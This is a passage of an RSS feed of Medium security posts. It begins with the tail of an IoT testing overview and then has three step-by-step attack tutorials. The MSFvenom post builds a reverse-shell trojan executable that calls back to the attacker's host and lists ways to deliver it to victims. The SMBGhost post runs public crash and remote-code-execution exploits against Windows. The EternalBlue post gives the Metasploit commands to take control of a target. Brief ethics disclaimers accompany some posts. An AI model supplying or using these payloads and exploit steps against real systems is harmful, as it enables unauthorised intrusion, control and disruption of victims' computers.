Testing</h4><p><strong>Purpose</strong>: Test the device’s dashboard, mobile app, or cloud APIs.</p><p><strong>Tools</strong>: OWASP ZAP, Burp Suite, Postman</p><p><strong>Vulnerabilities Identified:</strong></p><ul><li>Broken authentication</li><li>XSS, CSRF, IDOR (Insecure Direct Object Reference)</li><li>Insecure tokens or exposed API keys</li></ul><h4>5. 📡 Traffic and Communication Analysis</h4><p><strong>Purpose</strong>: Monitor and analyze communication between the device and its services.</p><p><strong>Tools</strong>: Wireshark, Tcpdump, mitmproxy</p><p><strong>Vulnerabilities Identified</strong>:</p><ul><li>Unencrypted communication (HTTP instead of HTTPS)</li><li>Sensitive data leakage</li><li>Use of insecure protocols (e.g., MQTT without TLS)</li></ul><h4>6. 🔧 Hardware Testing</h4><p><strong>Purpose</strong>: Evaluate physical vulnerabilities of the device.</p><p><strong>Techniques:</strong></p><ul><li>Access debug ports (UART, JTAG)</li><li>Dump flash memory</li><li>Examine PCB layout</li></ul><p><strong>Tools:</strong> Logic analyzers, chip readers (e.g., Bus Pirate)</p><p><strong>Risks Identified</strong>:</p><ul><li>Firmware extraction</li><li>Root access via debug interfaces</li></ul><h4>7. 🛡️ Penetration Testing</h4><p><strong>Purpose</strong>: Simulate real-world attacks to find exploitable weaknesses.</p><p><strong>Types:</strong></p><ul><li>Black-box (no prior knowledge)</li><li>White-box (full access)</li><li>Grey-box (partial info)</li></ul><p><strong>Outcome:</strong> Comprehensive report with risk ratings and mitigation advice.</p><h3><strong>Conclusion</strong></h3><p>The connected world expands continuously. Importance of IOT devices more than ever. Manufacturers must care more about IOT security and its vulnerabilities. Developers must prioritize threat modeling and regular updates, and consumers must be educated on security best practices. Governments and industry bodies must enforce compliance with evolving standards and regulations to ensure accountability across the entire IoT supply chain. By combining proactive vulnerability assessments, strong encryption, secure firmware practices, and a culture of cybersecurity awareness, we can build a safer, smarter future where the benefits of IoT are fully realized without compromising security and privacy.</p><h3>📚 References</h3><p><a href="https://www.fortinet.com/resources/cyberglossary/iot-device-vulnerabilities">Top IoT Device Vulnerabilities: How To Secure IoT Devices | Fortinet</a></p><p><a href="https://www.isaca.org/resources/isaca-journal/issues/2019/volume-1/security-issues-in-iot-challenges-and-countermeasures">2019 Volume 1 Security Issues in IoT Challenges and Countermeasures</a></p><p><a href="https://www.ibm.com/think/topics/internet-of-things">What is the Internet of Things (IoT)? | IBM</a></p><h3>🙏 Acknowledgments</h3><p>Special thanks to the <a href="https://medium.com/u/f1c0b86cdc92">IES Labs - University of Moratuwa</a> <strong>team</strong> for their invaluable support, insights, and encouragement throughout this research and testing process. Your dedication to innovation excellence continues to inspire and drive meaningful progress in the IoT space.</p><p>Thanks for reading … 😇</p><p><em>If you have any questions or need clarification, feel free to reach out.</em></p><p>👉<em>Email — </em><a href="http://imashanilupul@gmail.com/"><em>imashanilupul@gmail.com</em></a></p><p>👉<em>Linkedin — </em><a href="https://www.linkedin.com/in/imasha-jayarathne-6a3178200/"><em>Imasha Jayarathne | LinkedIn</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3c4801332c06" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MSFvenom: Crafting Payloads for Full Access & Exploitation]]></title>
            <link>https://medium.com/@imashanilupul/msfvenom-crafting-payloads-for-full-access-exploitation-c3abd8dc4c25?source=rss-2c488e649af9------2</link>
            <guid isPermaLink="false">https://medium.com/p/c3abd8dc4c25</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[msfvenom]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[trojan]]></category>
            <category><![CDATA[payload]]></category>
            <dc:creator><![CDATA[ImashaNilupul]]></dc:creator>
            <pubDate>Sat, 08 Feb 2025 22:04:53 GMT</pubDate>
            <atom:updated>2025-02-10T13:41:06.899Z</atom:updated>
            <content:encoded><![CDATA[<h3>🔥 <strong>Introduction</strong></h3><h4>What is MSFVenom ?</h4><p><strong>msfvenom</strong> is a powerful command-line utility bundled with <strong>Metasploit</strong>, a widely used penetration testing framework. It allows security professionals to create customized payloads for penetration testing and ethical hacking purposes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*sjk_E2M4bO-Xsn_XR_FSkw.jpeg" /><figcaption>Marvel Venom using MSFVenom</figcaption></figure><p>A <strong>payload</strong> is a piece of software or a program that executes specific actions on a target machine. It can be in various formats, such as .exe, .py, or .apk, depending on the attack scenario.</p><h3>🛠 Prerequisites</h3><p>Before we dive into payload crafting, ensure you have the following: ✅ A <strong>Kali Linux</strong> machine (can be installed on VirtualBox) ✅ <strong>MSFvenom</strong> installed (comes with Metasploit)</p><pre>msfvenom --help</pre><p>If installed, you should see the <strong>msfvenom help menu</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W5fvhzhSZ-a3peCghFLsDg.png" /><figcaption>msfVenom — help</figcaption></figure><h3>🏗 <strong>Crafting a Payload with MSFvenom</strong></h3><p>As a first step, we need to make our <strong>payload</strong>. We use <strong>msfVenom</strong> for this task.</p><p>For example, I use a <strong>windows 10</strong> machine as a victim. It’s an <strong>x64 bit machine</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*SE_LyDyP_BOr-0-6_EGJtg.png" /><figcaption>Properties of win 10 (victim) machine</figcaption></figure><p>Now time to get started.</p><p>First, we need to create our payload. It’s a file that is shared with the victim’s machine and gives hackers to access it.</p><pre>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=&lt;Kali_machine_ip&gt; LPORT=&lt;Port_need&gt; -f exe -o Eddie.exe</pre><p>Little bit long command right ?</p><p>Ok, let’s clarify it.</p><p><strong>-p</strong> means what type of payload you’re going to make. So I use windows/x64/meterpreter/reverse_tcp. I use x64 because my windows 10 machine is x64.</p><p><strong>LHOST</strong> means what is your (hacker) IP. payload needs to give permission to access this IP.</p><p>LHOST is not enough when needed to communicate. In that case, we also need to define <strong>LPORT</strong>. You can use any port except the pre-defined ones.</p><p>Now you need to define which file type the payload would be. So use <strong>-f</strong> and define a file type. (ex — .exe, .py, etc.)</p><p>Finally, use <strong>-o</strong> means the output of the file. Now give a name for the payload. I used eddie.exe for it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/144/1*8HvkzDUCI_fw4Hc5ulS6SQ.png" /><figcaption>Payload.exe</figcaption></figure><p>Now Payload will save to your computer. So our payload is ready to go.</p><p>To execute the attack, the payload must be delivered to the target. Methods include:</p><ul><li><strong>Social Engineering</strong> (e.g., email attachments, fake software installers)</li><li><strong>USB Drops</strong> (physical access)</li><li><strong>Malicious Websites</strong> (drive-by downloads)</li></ul><h3>🔑 <strong>Gaining Full Access</strong></h3><p>Now we need to be ready. Hacker must ready to catch data right now.</p><p>So go to msfconsole and be ready.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*zKy6K7v4dke4wFoeRk5ywQ.png" /><figcaption>msfconsole</figcaption></figure><pre>use exploit/multi/handler</pre><p>This is an exploit module that allows attackers to handle multiple connections from different payloads.</p><p>Next we need to setup options.</p><pre>show options</pre><p>Now Setup the exact payload which we used previously for this.</p><pre>set payload windows/x64/meterpreter/reverse_tcp</pre><p>Now setup LHOST and LPORT. This also needs to be the same.</p><p>If all done RUN it.</p><pre>run</pre><p>Now wait until Victem(win 10) runs the sent payload. When Victim Runs it. You can use a meterpreter shell.</p><p>Ok. You’re done. You can use shell for do anything in win 10 computer. 😁</p><h3>⚠️ Disclaimer:</h3><p>This article is intended <strong>solely for educational and ethical cybersecurity purposes</strong>. Unauthorized use of penetration testing tools on systems without <strong>explicit permission</strong> is illegal and may lead to severe legal consequences. Always practice ethical hacking within <strong>legal boundaries</strong> and use these techniques only on systems you own or have been authorized to test. The responsibility for misuse lies entirely with the user. <strong>Stay ethical, stay legal!</strong> 🚀🔐</p><p>Thanks for reading … 😇</p><p><em>If you have any questions or need clarification, feel free to reach out.</em></p><p>👉<em>Email — </em><a href="http://imashanilupul@gmail.com/"><em>imashanilupul@gmail.com</em></a></p><p>👉<em>Linkedin — </em><a href="https://www.linkedin.com/in/imasha-jayarathne-6a3178200/"><em>Imasha Jayarathne | LinkedIn</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c3abd8dc4c25" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploit Windows Like Ghost : SMBGhost Vulnerability]]></title>
            <link>https://medium.com/@imashanilupul/exploit-windows-like-ghost-smbghost-vulnerability-cd65d393cd2c?source=rss-2c488e649af9------2</link>
            <guid isPermaLink="false">https://medium.com/p/cd65d393cd2c</guid>
            <category><![CDATA[windows-exploitation]]></category>
            <category><![CDATA[cve-2020-0796]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[smbghost]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[ImashaNilupul]]></dc:creator>
            <pubDate>Thu, 09 Jan 2025 15:35:51 GMT</pubDate>
            <atom:updated>2025-01-09T15:41:56.590Z</atom:updated>
            <content:encoded><![CDATA[<h3>Exploit Windows Like Ghost : SMBGhost Vulnerability</h3><p>SMBGhost, <strong>SMBleedingGhost</strong>, and <strong>ColoranBlue </strong>are all names used to describe the same vulnerability, officially identified as<strong> CVE-2020–0796.</strong></p><p>The exploit code for SMBGhost was published on GitHub on <strong>June 1, 2020</strong>. In response, Microsoft recommended that users of <strong>Windows 10</strong> versions <strong>1903</strong> and <strong>1909</strong>, as well as Windows Server versions <strong>1903</strong> and <strong>1909</strong>, install the necessary patches.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*azeXHBrk0E4OrqwIM-lWcg.jpeg" /><figcaption>CVE-2020–0796</figcaption></figure><h3>Ok now let’s check what we can do,</h3><p>First of all, you need to ensure the following things about the target machine:</p><p>💀 The target machine is connected to the internet.<br>💀 Firewall security is turned off on the target machine.<br>💀 Real-time virus protection is disabled on the target machine.</p><p>👉 Next, you need to check whether the target machine is actually vulnerable to the SMBGhost vulnerability.</p><p>There are many possible ways to check for the SMBGhost vulnerability, and I used this GitHub repository for it.</p><p>🔍<strong>SMBGhost Vulnerability Scanner</strong> —</p><p><a href="https://github.com/ButrintKomoni/cve-2020-0796">ButrintKomoni/cve-2020–0796: Identifying and Mitigating the CVE-2020–0796 flaw in the fly</a></p><p>You can use below command and use it.</p><pre>git clone ButrintKomoni/cve-2020-0796</pre><p><strong>Follow the instructions</strong> in the repository’s README.md to learn how to use this tool.</p><p>You can do many things after knowing your target is vulnerable.</p><h3>Attack 1</h3><p>💣<strong>First, let’s learn how to crash your target machine’s OS using this vulnerability.</strong></p><p>I used the repository below for it.</p><p><a href="https://github.com/jiansiting/CVE-2020-0796">jiansiting/CVE-2020–0796</a></p><p>This can also be used after the cloning.</p><p>In this case, you only need to run cve-2020-0796.py using the command line.</p><pre>python3 cve-2020-0796.py</pre><p>Then, boom! You will see your target machine’s OS crash. 💥</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gb02oM38Gf-_hPSu.jpg" /><figcaption>Target crashed.</figcaption></figure><h3>Attack 2</h3><p>☢️<strong>Now its time to exploit windows target machine remotely.</strong></p><p>I used this repository for it.</p><p><a href="https://github.com/jamf/CVE-2020-0796-RCE-POC">jamf/CVE-2020–0796-RCE-POC: CVE-2020–0796 Remote Code Execution POC</a></p><p>You can clone this repository and use it the same as before.</p><p>Now go through the instructions provided in the README.md file.</p><p>This time, I faced several target machine crashes, but after several attempts, I managed to get it done. 👏</p><p>Finally, you can access the target machine’s shell on your own machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*Bdn3hNCGCcmkCCJxL9dOww.png" /><figcaption>Target shell on your machine</figcaption></figure><p>Now it’s done — the target has been exploited!</p><blockquote>🚨 In this article, I explore the SMB Ghost vulnerability (CVE-2020–0796) in a controlled and ethical environment, aiming to help readers understand how such vulnerabilities can be exploited. The scenario described is purely for educational purposes, demonstrating how attackers might exploit flaws in SMBv3 on a vulnerable Windows system. This exercise is intended to help learners and professionals develop skills in identifying, exploiting, and mitigating security risks, with the goal of strengthening network security in real-world applications.</blockquote><p>Thanks for reading … 😇</p><p><em>If you have any questions or need any clarification comment down below or email me.</em></p><p>👉<em>Email — imashanilupul@gmail.com</em></p><p>👉<em>Linkedin — </em><a href="https://www.linkedin.com/in/imasha-jayarathne-6a3178200/"><em>Imasha Jayarathne | LinkedIn</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cd65d393cd2c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[EternalBlue: A Historical and Practical Analysis of the Cybersecurity Exploit]]></title>
            <link>https://medium.com/@imashanilupul/eternalblue-a-historical-and-practical-analysis-of-the-cybersecurity-exploit-331389e3b49f?source=rss-2c488e649af9------2</link>
            <guid isPermaLink="false">https://medium.com/p/331389e3b49f</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security-systems]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[eternalblue]]></category>
            <category><![CDATA[kali-linux]]></category>
            <dc:creator><![CDATA[ImashaNilupul]]></dc:creator>
            <pubDate>Thu, 02 Jan 2025 22:41:56 GMT</pubDate>
            <atom:updated>2025-01-02T22:41:56.914Z</atom:updated>
            <content:encoded><![CDATA[<h3>History of EternalBlue</h3><p>EternalBlue is one of the most infamous exploits developed by the U.S. National Security Agency (NSA). It is based on a vulnerability in Windows machines. The NSA was aware of this vulnerability but chose not to disclose it to the public. However, in 2017, a hacker group called Shadow Brokers stole this exploit from the NSA. After the theft, Shadow Brokers attempted to auction the exploit but failed to find a suitable buyer. Ultimately, EternalBlue was publicly leaked in 2017.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V0_-IbJ58H1qAidWwrnCCQ.jpeg" /></figure><h3>What is EternalBlue ?</h3><p>EternalBlue exploits a flaw (CVE-2017–0144) in the SMBv1 protocol, which is used for file and printer sharing in Windows networks. The vulnerability allows attackers to execute arbitrary code remotely without requiring authentication. This capability enables attackers to install malware, create backdoors, or control the victim’s system entirely.</p><h3>How to do Basic EternalBlue attack in Kali Linux Machine ?</h3><p><strong>Step 1</strong></p><p>Open msfconsole (Metasploit Console)</p><pre>msfconsole</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*SnGOuqxsh4Dy_33Evyub2g.png" /><figcaption>msfconsole</figcaption></figure><p><strong>Step 2</strong></p><p>Search ethernal blue in msfconsole</p><pre>search eternalblue</pre><p>Now Your Result would be like this —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xE7RCAfrkE6cxDm7xal3VA.png" /><figcaption>search result</figcaption></figure><p>First we need to find our target is vulnerable for this EternalBlue exploit.</p><p>So use auxiliary module first.</p><pre>use auxiliary/scanner/smb/smb_ns17_010</pre><p>Now Fill the option Menu and Check target machine is vulnerable.</p><p>Command for go to show option menu —</p><pre>show options</pre><p>Command to set values in command menu —</p><pre>set [Option] [Value]</pre><p>Now run !</p><pre>run</pre><p>Output if vulnerable —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rd7UWpNUJKB-3aICStZb8g.png" /><figcaption>Output if vulnerable</figcaption></figure><p>So Now you can go ahead — -&gt;</p><p><strong>Step 3</strong></p><p>Go back to msfconsole.</p><p>Now we want to do exploit. So Use exploit.</p><pre>use exploit/windows/smb/ms17_010_eternalblue</pre><p>Then add data to option menu (RHOST, Payload) like we previously done in auxiliary part.</p><p>Then Run it.</p><p>If it is done that means you WIN!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G9kbBmHiZo6G2P9c7t_Afw.png" /><figcaption>Done output</figcaption></figure><p>Now you can use meterpreter console to control your victim.</p><p>Thanks for reading…..</p><p><em>If you have any questions or need any clarification comment down below or email me.</em></p><p><em>Email — imashanilupul@gmail.com</em></p><p><em>Linkedin — </em><a href="https://www.linkedin.com/in/imasha-jayarathne-6a3178200/"><em>Imasha Jayarathne | LinkedIn</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=331389e3b49f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>